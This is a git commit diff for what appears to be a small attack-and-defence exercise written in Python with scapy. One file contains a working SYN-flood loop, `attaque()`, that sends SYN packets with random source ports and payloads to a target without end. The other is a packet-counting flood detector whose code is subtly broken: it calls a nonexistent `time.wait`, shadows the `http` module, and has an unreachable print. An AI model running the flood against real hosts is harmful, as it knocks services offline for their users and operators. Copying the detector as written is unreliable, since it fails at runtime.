Saataa andagii !

This commit is contained in:
Lukian 2025-01-14 12:23:50 +01:00
parent 5b0309a4e8
commit 1e154caef8
2 changed files with 19 additions and 2 deletions

View file

@ -20,7 +20,7 @@ def attaque():
while True: while True:
requete = L[r.randint(0, 2)] requete = L[r.randint(0, 2)]
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete) paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
sr1(paquet, verbose=True) sr1(paquet, verbose=False)
if __name__ == "__main__": if __name__ == "__main__":
attaque() attaque()

View file

@ -2,14 +2,29 @@ from scapy.all import *
import http.server import http.server
import socketserver import socketserver
import threading import threading
import time
PORT = 80 PORT = 80
Handler = http.server.SimpleHTTPRequestHandler Handler = http.server.SimpleHTTPRequestHandler
http = socketserver.TCPServer(("", PORT), Handler) http = socketserver.TCPServer(("", PORT), Handler)
addresses = {}
def empty_addresses():
while True:
time.wait(1)
addresses.clear()
def handler(pkt): def handler(pkt):
print(pkt) address = pkt[IP].src
if address in addresses.keys():
count = addresses[address]
if count > 30:
print(address, count)
addresses[address] += 1
else:
addresses[address] = 1
def sniff_packets(): def sniff_packets():
sniff(filter=f"tcp port {PORT}", prn=handler) sniff(filter=f"tcp port {PORT}", prn=handler)
@ -17,6 +32,8 @@ def sniff_packets():
if __name__ == "__main__": if __name__ == "__main__":
sniffer = threading.Thread(target=sniff_packets) sniffer = threading.Thread(target=sniff_packets)
sniffer.start() sniffer.start()
emptyer = threading.Thread(target=empty_addresses)
emptyer.start()
http.serve_forever() http.serve_forever()
print("serving at port", PORT) print("serving at port", PORT)